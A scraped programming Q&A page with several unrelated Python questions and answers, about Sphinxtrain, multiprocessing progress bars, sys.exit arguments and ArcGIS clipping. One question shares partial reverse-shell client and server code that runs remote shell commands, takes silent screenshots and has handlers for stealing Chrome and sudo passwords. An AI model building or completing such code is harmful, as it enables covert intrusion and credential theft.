Related
I'm using sphinx to build my own model for vocal recognition , i've followed the tutorial step by step and all works fine until that point when i should run the python script of sphinixtrain (whose role is to execute a set of perl files throw terminal in normal case) but for me, the program only opens the files one by one with a chosen editor without executing them !(watching other tutorials videos, the code bellow works normal)
The code of trainer :
#!/usr/bin/python
from __future__ import print_function
import getopt, sys, os
training_basedir = ""
sphinxbinpath = ""
sphinxpath = ""
def find_paths():
global training_basedir
global sphinxbinpath
global sphinxpath
# Find the location of the files, it can be libexec or lib or lib64
currentpath = os.path.dirname(os.path.realpath(__file__))
sphinxbinpath = os.path.realpath(currentpath + "/../libexec/sphinxtrain")
if os.path.exists(currentpath + "/../lib/sphinxtrain/bw"):
sphinxbinpath = os.path.realpath(currentpath + "/../lib/sphinxtrain/bw")
if os.path.exists(currentpath + "/../bin/Release/Win32"):
sphinxbinpath = os.path.realpath(currentpath + "/../bin/Release/Win32")
# Find the location for the libraries
sphinxpath = os.path.realpath(currentpath + "/../lib/sphinxtrain")
if os.path.exists(currentpath + "/../lib64/sphinxtrain/scripts/00.verify"):
sphinxpath = os.path.realpath(currentpath + "/../lib64/sphinxtrain")
if os.path.exists(currentpath + "/../scripts/00.verify"):
sphinxpath = os.path.realpath(currentpath + "/..")
if not (os.path.exists(sphinxbinpath + "/bw") or os.path.exists(sphinxbinpath + "/bw.exe")):
print("Failed to find sphinxtrain binaries. Check your installation")
exit(1)
# Perl script want forward slashes
training_basedir = os.getcwd().replace('\\', '/');
sphinxpath = sphinxpath.replace('\\','/')
sphinxbinpath = sphinxbinpath.replace('\\','/')
print("Sphinxtrain path:", sphinxpath)
print("Sphinxtrain binaries path:", sphinxbinpath)
def setup(task):
if not os.path.exists("etc"):
os.mkdir("etc")
print("Setting up the database " + task)
out_cfg = open("./etc/sphinx_train.cfg", "w")
for line in open(sphinxpath + "/etc/sphinx_train.cfg", "r"):
line = line.replace("___DB_NAME___", task)
line = line.replace("___BASE_DIR___", training_basedir)
line = line.replace("___SPHINXTRAIN_DIR___", sphinxpath)
line = line.replace("___SPHINXTRAIN_BIN_DIR___", sphinxbinpath)
out_cfg.write(line)
out_cfg.close()
out_cfg = open("etc/feat.params", "w")
for line in open(sphinxpath + "/etc/feat.params", "r"):
out_cfg.write(line)
out_cfg.close()
steps = [
"000.comp_feat/slave_feat.pl",
"00.verify/verify_all.pl",
"0000.g2p_train/g2p_train.pl",
"01.lda_train/slave_lda.pl",
"02.mllt_train/slave_mllt.pl",
"05.vector_quantize/slave.VQ.pl",
"10.falign_ci_hmm/slave_convg.pl",
"11.force_align/slave_align.pl",
"12.vtln_align/slave_align.pl",
"20.ci_hmm/slave_convg.pl",
"30.cd_hmm_untied/slave_convg.pl",
"40.buildtrees/slave.treebuilder.pl",
"45.prunetree/slave.state-tying.pl",
"50.cd_hmm_tied/slave_convg.pl",
"60.lattice_generation/slave_genlat.pl",
"61.lattice_pruning/slave_prune.pl",
"62.lattice_conversion/slave_conv.pl",
"65.mmie_train/slave_convg.pl",
"90.deleted_interpolation/deleted_interpolation.pl",
"decode/slave.pl",
]
def run_stages(stages):
for stage in stages.split(","):
for step in steps:
name = step.split("/")[0].split(".")[-1]
if name == stage:
ret = os.system(sphinxpath + "/scripts/" + step)
if ret != 0:
exit(ret)
def run_from(stage):
found = False
for step in steps:
name = step.split("/")[0].split(".")[-1]
if name == stage or found:
found = True
ret = os.system(sphinxpath + "/scripts/" + step)
if ret != 0:
exit(ret)
def run():
print("Running the training")
for step in steps:
ret = os.system(sphinxpath + "/scripts/" + step)
if ret != 0:
exit(ret)
def usage():
print ("")
print ("Sphinxtrain processes the audio files and creates and acoustic model ")
print ("for CMUSphinx toolkit. The data needs to have a certain layout ")
print ("See the tutorial http://cmusphinx.sourceforge.net/wiki/tutorialam ")
print ("for details")
print ("")
print ("Usage: sphinxtrain [options] <command>")
print ("")
print ("Commands:")
print (" -t <task> setup - copy configuration into database")
print (" [-s <stage1,stage2,stage3>] [-f <stage>] run - run the training or just selected
stages")
def main():
try:
opts, args = getopt.getopt(sys.argv[1:], "ht:s:f:", ["help", "task", "stages", "from"])
except getopt.GetoptError as err:
print(str(err))
usage()
sys.exit(-1)
task = None
stages = None
from_stage = None
for o, a in opts:
if o in ("-t", "--task"):
task = a
if o in ("-f", "--from"):
from_stage = a
if o in ("-s", "--stages"):
stages = a
if o in ("-h", "--help"):
usage()
if len(args) == 0:
usage()
sys.exit(-1)
command = args[0]
find_paths()
if command == "setup":
if task == None:
print("No task name defined")
sys.exit(-1)
setup(task)
elif command == "run":
if stages != None:
run_stages(stages)
elif from_stage != None:
run_from(from_stage)
else:
run()
else:
run()
if __name__ == "__main__":
main()
Another way to solve this is to be explicit about calling the Perl interpreter in your os.system call
i.e.
ret = os.system('perl ' + sphinxpath + "/scripts/" + step)
Solved by associating perl files ( with pl extension) to perl.exe
Im working on a reverse shell project and I am using Python3. I am currently working on sending files over a socket connection but I can not for the love of good get it to work :( I have search the web and all google links are purple, so I am trying my luck here now.
Every time I try to send the file over I either get connection lost or the file just simply dose not transfer right.
I have tried different types of ways to get the image source over. The best attempts yet have been when I decode the image source into base64 and send them over but I think the problem has to do with the recv(1024).
Server.py
##################################
# Server.py #
##################################
#Connect with remote target client
def send_target_commands(conn):
while True:
try:
cmd = input()
if cmd == 'quit':
break
if len(str.encode(cmd)) > 0:
conn.send(str.encode(cmd))
client_respons = str(conn.recv(1024), "utf-8")
#Custom commands requiering server based actions
if client_respons.startswith('osx_screen_shot') == True:
screen = client_respons[15:] #Delete 'osx_screen_shot ' fomr the string
f = open('temp.png', 'wb')
while screen != bytes(''.encode()):
#print(data)
data_d = str(conn.recv(1024))
f.write(data_d)
else:
print(client_respons, end="")
except:
print("Connection was lost")
break
Client.py
##################################
# Client.py #
##################################
#====== Screen Shoot ======#
def osx_screen_shot():
os.system("export PATH=/bin:/usr/bin:/sbin:/usr/sbin")
os.system("screencapture -x /tmp/temp")
try:
with open("/tmp/temp", 'rb') as hoosh:
data = hoosh.read(1024)
s.send(data)
while data != bytes(''.encode()):
#print(data)
data = hoosh.read(1024)
s.send(data)
print(' File sent successfully.')
except:
return "Something went wrong"
#====== Listener =====#
while True:
data = s.recv(1024)
if data[:2].decode("utf-8") == 'cd':
os.chdir(data[3:].decode("utf-8"))
current_dir = "\033[1;31m[\033[0;97m"+str(os.getcwd())+"\033[1;31m]\033[0;97m"
#Custom payload
if len(data) > 0:
if data == 'osx_menu':
string = help_menu()
s.send(str(string + current_dir) + ' ')
elif data == 'osx_chrome_pass':
passwords = function_chrome_decrypt()
s.send(str(passwords + current_dir) + ' ')
elif data[:2] == 'cd':
s.send(str(current_dir) + ' ')
elif data == 'osx_get_sudo_pass':
string = get_sudo_password()
s.send(str(string + current_dir) + ' ')
elif data == 'osx_screen_shot':
imgae_code = osx_screen_shot()
s.send(str(imgae_code))
elif data != '':
cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
output_bytes = cmd.stdout.read() + cmd.stderr.read()
output_str = str.decode(output_bytes)
s.send(str(output_str + current_dir) + ' ')
What I except from the code is to be able to send the image source code over a socket and get the image on the server computer
For my program, I have a file that writes random integers to a .CSV file.
from __future__ import absolute_import, division, print_function
from numpy.random import randint as randrange
import os, argparse, time
from tqdm import tqdm
def write_to_csv(filename, *args, newline = True):
write_string = ''
for arg in args:
if type(arg) == list:
for i in arg:
write_string += str(i) + ','
else:
write_string += str(arg) + ','
if newline:
write_string = write_string.rstrip(',') + '\n'
else:
write_string = write_string.rstrip(',')
with open(filename+'.csv', 'a') as file:
file.write(write_string)
def move_dir(dirname, parent = False):
if not parent:
dirname = str(dirname)
exists = os.path.isfile(dirname)
try:
os.mkdir(dirname)
os.chdir(dirname)
except FileExistsError:
os.chdir(dirname)
else:
os.chdir("..")
def calculate_probability(odds, exitmode = False, low_cpu = 0):
try:
file_count = 0
move_dir('Probability')
move_dir(str(odds))
d = {}
writelist = []
percentlist = []
for i in tqdm(range(odds)):
d[str(i)] = 0
writelist.append(f'Times {i}')
percentlist.append(f'Percent {i}')
while True:
if os.path.isfile(str(file_count)+'.csv'):
file_count += 1
else:
break
filename = str(file_count)
write_to_csv(filename, 'Number', 'Value')
rep = 500 * odds
if rep > 10000:
rep = 10000
for i in tqdm(range(rep)):
ran = randrange(odds)
ran = int(ran)
d[str(ran)] += 1
if i == 999:
write_to_csv(filename, i, ran+1, newline = False)
else:
write_to_csv(filename, i, ran+1)
if low_cpu:
time.sleep(0.01*float(low_cpu))
writelist2 = []
percentlist2 = []
for i in tqdm(range(odds)):
val = d[str(i)]
writelist2.append(val)
percentlist2.append(round(((val/rep)*100), 2))
if os.path.isfile('runs.csv'):
write_to_csv('runs', file_count, writelist2, percentlist2)
else:
write_to_csv('runs', 'Run #', writelist, percentlist)
write_to_csv('runs', file_count, writelist2, percentlist2)
if exitmode:
exit()
except(KeyboardInterrupt, SystemExit):
if exitmode:
os.remove(str(file_count)+'.csv')
exit()
else:
try:
os.system('cls')
print('User/program interrupted, lauching shutdown mode...')
os.remove(str(file_count)+'.csv')
print('Finilizaing current trial...')
os.chdir("..")
os.chdir("..")
except FileNotFoundError:
exit()
calculate_probability(odds, exitmode = True)
I also have a repetition system to do this multiple times.
def run_tests(times, odds, low_cpu = 0, shutdown = False):
for i in tqdm(range(times)):
calculate_probability(odds, low_cpu = low_cpu)
os.chdir("..")
os.chdir("..")
if shutdown:
os.system('shutdown /S /F /T 0 /hybrid')
However, if I were to run like 30 trails, it would take forever. So I decided to use the multiprocessing module to speed up the process. Because each run needs to write to the same file at the end, I had to collect the data and write them after the processes ended.
def calculate_probability(odds, low_cpu = 0):
try:
file_count = 0
move_dir('Probability')
move_dir(str(odds))
d = {}
writelist = []
percentlist = []
for i in tqdm(range(odds)):
d[str(i)] = 0
writelist.append(f'Times {i}')
percentlist.append(f'Percent {i}')
while True:
if os.path.isfile(str(file_count)+'.csv'):
file_count += 1
else:
break
filename = str(file_count)
write_to_csv(filename, 'Number', 'Value')
rep = 500 * odds
if rep > 10000:
rep = 10000
for i in range(rep):
ran = randrange(odds)
ran = int(ran)
d[str(ran)] += 1
if i == 999:
write_to_csv(filename, i, ran+1, newline = False)
else:
write_to_csv(filename, i, ran+1)
if low_cpu:
time.sleep(0.01*float(low_cpu))
writelist2 = []
percentlist2 = []
for i in range(odds):
val = d[str(i)]
writelist2.append(val)
percentlist2.append(round(((val/rep)*100), 2))
return (writelist, percentlist, writelist2, percentlist2)
except(KeyboardInterrupt, SystemExit):
try:
os.remove(str(file_count)+'.csv')
finally:
exit()
def worker(odds, returndict, num, low_cpu = 0):
returndict[f'write{num}'] = calculate_probability(odds, low_cpu = low_cpu)
os.chdir("..")
os.chdir("..")
os.system('cls')
def run_tests(times, odds, low_cpu = 0, shutdown = False):
print('Starting...')
manager = Manager()
return_dict = manager.dict()
job_list = []
for i in range(times):
p = Process(target=worker, args=(odds,return_dict,i), kwargs = {'low_cpu' : low_cpu})
job_list.append(p)
p.start()
try:
for proc in job_list:
proc.join()
except KeyboardInterrupt:
print('User quit program...')
time.sleep(5)
for proc in job_list:
proc.join()
exit()
else:
move_dir('Probability')
move_dir(str(odds))
if not os.path.isfile('runs.csv'):
write_to_csv('runs', return_dict.values()[0][0], return_dict.values()[0][1])
for value in return_dict.values():
write_to_csv('runs', value[2], value[3])
print('Done!')
finally:
if shutdown:
os.system('shutdown /S /F /T 0 /hybrid')
However, when I run this new code, there is one progressbar, and each process overwrites the bar, so the bar is flashing with random numbers, making the bar useful. I want to have a stack of bars, one for each process, that each update without interrupting the others. The bars do not need to be ordered; I just need to have an idea of how fast each process is doing their tasks.
STDOUT is just a stream, and all of your processes are attached to the same one, so there's no direct way to tell it to print the output from different processes on different lines.
Probably the simplest way to achieve this would be to have a separate process that is responsible for aggregating the status of all the other processes and reporting the results. You can use a multiprocessing.Queue to pass data from the worker threads to the status thread, then the status thread can print the status to stdout. If you want a stack of progress bars, you'll have to get a little creative with the formatting (essentially update all the progress bars at the same time and print them in the same order so they appear to stack up).
I made a Python script to compare files (compareRFRegion). I call this script from a Perl script:
$cmd_return = `python compareRFRegion.py -c Working/channels_US_full.ini -r RF_US902_full`;
But I get this error:
Traceback (most recent call last):
File "compareRFRegion.py", line 355, in <module>
input_filename, rf_region_filename)
File "compareRFRegion.py", line 88, in open_files
"!!! Check it's in the current directory or the path is correct")
TypeError: exit expected at most 1 arguments, got 3
Here's my Python script:
#!/usr/bin/python
import os
import sys
import re
import getopt
# Channel list from .ini
channel_list = []
# Channel list from RF_region.xml
rf_channel_list = []
# lgw list
lgw_list = []
rf_region_list = []
class Channel:
"""attributes
- index
- LC
- subband
- freqhz
- usedforrx2
"""
def __init__(self):
self.index = 0 # [channel:x]
#
self.LC = 0 # name=LCx
self.subband = 0 # subband=x
self.freqhz = 0 # freqhz=x
self.usedforrx2 = 0 # usedforrx2=x
self.bandwidth = 0 # bandwidth=x
self.power = 0 # power=x
def display_channel(self):
print("Channel #{} - LC{} - Subband = {} - Freq = {} - UsedForRX2 = {} - Power = {}\n".format(self.index,
self.LC,
self.subband,
self.freqhz,
self.usedforrx2,
self.power))
def __eq__(self, channel):
# if self.LC != channel.LC:
# print ("LC different : {} - {} ", self.LC, channel.LC)
# if self.subband != channel.subband:
# print ("Subband different : {} - {} ", self.subband, channel.subband)
# if self.freqhz != channel.freqhz:
# print ("FreqHz different : {} - {} ", self.freqhz, channel.freqhz)
# if self.usedforrx2 != channel.usedforrx2:
# print ("Usedforrx2 different : {} - {} ", self.usedforrx2, channel.usedforrx2)
# if self.power != channel.power:
# print ("Power different : {} - {} ", self.power, channel.power)
return self.LC == channel.LC and self.subband == channel.subband and self.freqhz == channel.freqhz and self.usedforrx2 == channel.usedforrx2 and self.power == channel.power
def __ne__(self, channel):
return not self.__eq__(channel)
# File handling
def open_files(input_filename, rf_region_filename):
input_file = None
lgw_file = None
if input_filename:
try:
input_file = open(input_filename, "r")
except IOError:
sys.exit("Could not open", input_filename,
"!!! Check it's in the current directory or the path is correct")
try:
rf_region_file = open(rf_region_filename, "r")
except IOError:
input_file.close()
sys.exit("Could not open", rf_region_filename,
"!!! Check it's in the current directory or the path is correct")
return input_file, rf_region_file
def close_files(input_file, rf_region_file):
input_file.close()
rf_region_file.close()
# Read script arguments
def read_param(argv):
channel_filename = ''
rf_region_filename = ''
lgw_filename = ''
try:
opts, args = getopt.getopt(argv, "hc:l:r:")
except getopt.GetoptError:
print('compareRFRegion.py -c <channel_file> -r <RF_region_file>')
print('compareRFRegion.py -l <lgw_file> -r <RF_region_file>')
sys.exit(2)
for opt, arg in opts:
if opt == '-h':
print('compareRFRegion.py -c <channel_file> -r <RF_region_file>')
print('compareRFRegion.py -l <lgw_file> -r <RF_region_file>')
sys.exit()
elif opt in ("-c"):
channel_filename = arg
elif opt in ("-l"):
lgw_filename = arg
elif opt in ("-r"):
rf_region_filename = arg
# print('Channel file is "', channel_filename)
# print('RF_region file is "', rf_region_filename)
return channel_filename, lgw_filename, rf_region_filename
# process channel from RF_region.xml
def process_rf_channel(match, channel):
global rf_channel_list
if channel is not None:
rf_channel_list.append(channel)
channel = Channel()
return channel
def process_rx2_LC(match, channel):
global rf_channel_list
if channel is not None:
rf_channel_list.append(channel)
channel = Channel()
channel.LC = int(match.group(1))
channel.usedforrx2 = 1
return channel
def process_rf_freqhz(match, channel):
channel.freqhz = int(float(match.group(1)) * 1000000)
return channel
# process channel from channels.ini
def process_channel(match, channel):
global channel_list
# we store the previous channel in channel_list (except the first one)
if channel is not None:
channel_list.append(channel)
channel = Channel()
channel.index = int(match.group(1))
return channel
# processes for all files
def process_LC(match, channel):
channel.LC = int(match.group(1))
return channel
def process_subband(match, channel):
channel.subband = int(match.group(1))
return channel
def process_freqhz(match, channel):
channel.freqhz = int(match.group(1))
return channel
def process_usedforrx2(match, channel):
channel.usedforrx2 = int(match.group(1))
return channel
def process_bandwidth(match, channel):
channel.bandwidth = int(match.group(1))
return channel
def process_power(match, channel):
channel.power = int(match.group(1))
return channel
# Read functions
def read_channels(channel_file):
global channel_list
actions = ((r"\[channel:(\d+)\]", process_channel),
(r"name=LC((d)?.+)", process_LC),
(r"subband=(\d+)", process_subband),
(r"freqhz=(\d+\.\d+)", process_rf_freqhz),
(r"usedforrx2=([0|1])", process_usedforrx2),
(r"bandwidth=\$\{BW_(\d+)KHZ\}", process_bandwidth),
(r"power=(\d+)", process_power))
channel = None
for line in channel_file:
# print(line)
for regex, action in actions:
match = re.search(regex, line)
if match:
channel = action(match, channel)
break
# append the last channel in list
if channel is not None:
channel_list.append(channel)
def read_rf_region(rf_region_file):
global rf_channel_list
actions = ((r"<[RT]xChannel>", process_rf_channel),
(r"<LC>(\d+)<\/LC>", process_LC),
(r"<SB>(\d+)<\/SB>", process_subband),
(r"<Frequency>(\d+\.\d+)<\/Frequency>", process_rf_freqhz),
(r"<UsedForRX2>([0|1])<\/UsedForRX2>", process_usedforrx2),
(r"<Bandwidth>(\d+)<\/Bandwidth>", process_bandwidth),
(r"<RX2LC>(\d+)<\/RX2LC>", process_rx2_LC),
(r"<RX2SB>(\d+)<\/RX2SB>", process_subband),
(r"<RX2Freq>(\d+\.\d+)<\/RX2Freq>", process_rf_freqhz),
(r"<RX2TxPower>(\d+)<\/RX2TxPower>", process_power))
channel = None
for line in rf_region_file:
# print(line)
for regex, action in actions:
match = re.search(regex, line)
if match:
channel = action(match, channel)
break
# append the last channel in list
if channel is not None:
rf_channel_list.append(channel)
def read_rf_region_lgw(rf_region_file):
global rf_region_list
regexs = (r"<RFRegionId>(.+)<\/RFRegionId>",
r"<LRR_power>(\d+)<\/LRR_power>")
for line in rf_region_file:
# print(line)
for regex in regexs:
match = re.search(regex, line)
if match:
rf_region_list.append(match.group(1))
break
def read_lgw(lgw_file):
regexs = (r"rfregionid=(.+)", r"power=(\d+)")
global lgw_list
for line in lgw_file:
# print(line)
for regex in regexs:
match = re.search(regex, line)
if match:
lgw_list.append(match.group(1))
break
# Compare functions
def compareChannels():
for channel, rf_channel in zip(channel_list, rf_channel_list):
if channel != rf_channel:
# channel.display_channel()
# rf_channel.display_channel()
print(0)
return
print(1)
def compareLgw():
for lgw_param, rf_region_param in zip(lgw_list, rf_region_list):
if lgw_param != rf_region_param:
# print(lgw_param)
# print(rf_region_param)
print(0)
return
print(1)
# def move_rx2_channel():
# for i, channel in enumerate(rf_channel_list):
# if channel.usedforrx2 == 1:
# tmp = rf_channel_list.pop(i)
# rf_channel_list.append(tmp)
# return
#if __name__ == "__main__":
channel_filename, lgw_filename, rf_region_filename = read_param(sys.argv[
1:])
input_filename = ''
input_file = None
isChannelType = True
if channel_filename:
input_filename = channel_filename
elif lgw_filename:
input_filename = lgw_filename
isChannelType = False
input_file, rf_region_file = open_files(
input_filename, rf_region_filename)
# move_rx2_channel()
if isChannelType:
read_rf_region(rf_region_file)
read_channels(input_file)
compareChannels()
else:
read_rf_region_lgw(rf_region_file)
read_lgw(input_file)
compareLgw()
# print("List size is", len(channel_list))
# print("List rf size is", len(rf_channel_list))
# for channel, rf_channel in zip(channel_list, rf_channel_list):
# channel.display_channel()
# rf_channel.display_channel()
close_files(input_file, rf_region_file)
I am able to execute this in standalone in linux terminal by adding if __name__ == "__main__": (commented here). It works fine. But not by calling it from Perl. Maybe there is something I am missing about calling a Python script from Perl ?
instead of
sys.exit("Could not open", rf_region_filename,
"!!! Check it's in the current directory or the path is correct")
try
sys.exit("Could not open" + rf_region_filename + \
"!!! Check it's in the current directory or the path is correct")
adding in the commas isn't like the print statement, and doesn't concatenate them. Instead it treats the three strings as 3 different arguments. Adding in the additions signs will concatenate them.
Please, see - https://docs.python.org/3/library/sys.html#sys.exit
Your call of sys.exit() with 3 args is wrong, expected only one - exit code (optional)
You twice call sys.exit with two many arguments (as the error tells you :) )
sys.exit("Could not open", input_filename,
"!!! Check it's in the current directory or the path is correct")
change to e.g.
print("Could not open", input_filename,
"!!! Check it's in the current directory or the path is correct")
sys.exit(1)
You need to read your exception. It says that you are calling sys.exit() with 3 arguments, but only 1 is allowed.
Read the docs on sys.exit([arg])
And here is notes on optional argument arg:
The optional argument arg can be an integer giving the exit status (defaulting to zero), or another type of object. If it is an integer, zero is considered “successful termination” and any nonzero value is considered “abnormal termination” by shells and the like. Most systems require it to be in the range 0–127, and produce undefined results otherwise. Some systems have a convention for assigning specific meanings to specific exit codes, but these are generally underdeveloped; Unix programs generally use 2 for command line syntax errors and 1 for all other kind of errors. If another type of object is passed, None is equivalent to passing zero, and any other object is printed to stderr and results in an exit code of 1. In particular, sys.exit("some error message") is a quick way to exit a program when an error occurs.
So you need to refactor your code, for sys.exit to get only one argument.
I am new trying to implement either Parallel Python (PP) or async to multiprocess arcgis shapefile clipping. I have been successful with both pool_async and PP; however, it stalls forever on big files (and yes I tried making python access large addresses). Here is my code using PP, please offer any solutions and sorry for glaring errors if there are :-)
def ClipDo(F,M,O,OW = ""):
#for F in F:
print "\n"+"PID:%s"%(os.getpid())
arcpy.env.overwriteOutput = False
if OW == "":
pass
else:
arcpy.env.overwriteOutput = True
FPath = os.path.dirname(F)
F = os.path.basename(F)
ClipList = []
pattern = '*.shp'
for filename in M:
ClipList.append(filename)
clipN = str(os.path.splitext(os.path.basename(filename))[0])
if not os.path.isdir(O+"/"+clipN+"/"):
os.makedirs(O+"/"+clipN+"/")
#Counts files in clip directory
count = len(ClipList)
for num in range(0,count):
clip = ClipList[num]
clipN = str(os.path.splitext(os.path.basename(clip))[0])
OutShp = clipN +"_"+ F
try:
print "Clipping, Base File: %s Clip File: %s Output: %s" % (F,clip,O+"\\"+OutShp)
arcpy.Clip_analysis(os.path.join(FPath,F),os.path.join(M,clip), os.path.join(os.path.join(O+"\\",clipN),OutShp))
print "Clipping SUCCESS "
except:
print "Clipping FAILED " +F
def PP(F,M,O,OW):
print F
#~ # tuple of all parallel python servers to connect with
ncpus = 6
ncpus = ncpus
ppservers = ("localhost",)
#~ #ppservers = ("10.0.0.1",)
if len(sys.argv) > 1:
ncpus = int(sys.argv[1])
# Creates jobserver with ncpus workers
job_server = pp.Server(ncpus, ppservers=ppservers)
else:
#~ # Creates jobserver with automatically detected number of workers
job_server = pp.Server(ncpus,ppservers=ppservers)
print "Starting pp with", job_server.get_ncpus(), "workers"
jobs = []
start_time = time.time()
for f in F:
job = job_server.submit(ClipDo, (f,M,O,OW),(), ("arcpy","NullGeomFilter"))
jobs.append(job)
for job in jobs:
result = job()
print result
if result:
break
job_server.destroy()
print "\n"+"PID:%s"%(os.getpid())
print "Time elapsed: ", time.time() - start_time, "s"
Could it be that your big chunks are just too big for arcpy and that the parallelization is not the problem?
As a test, it might be good to run one of arg lists through your function with the big data interactively/locally to see if that's working at all. If it does, then you could move on to logging and debugging the parallel version.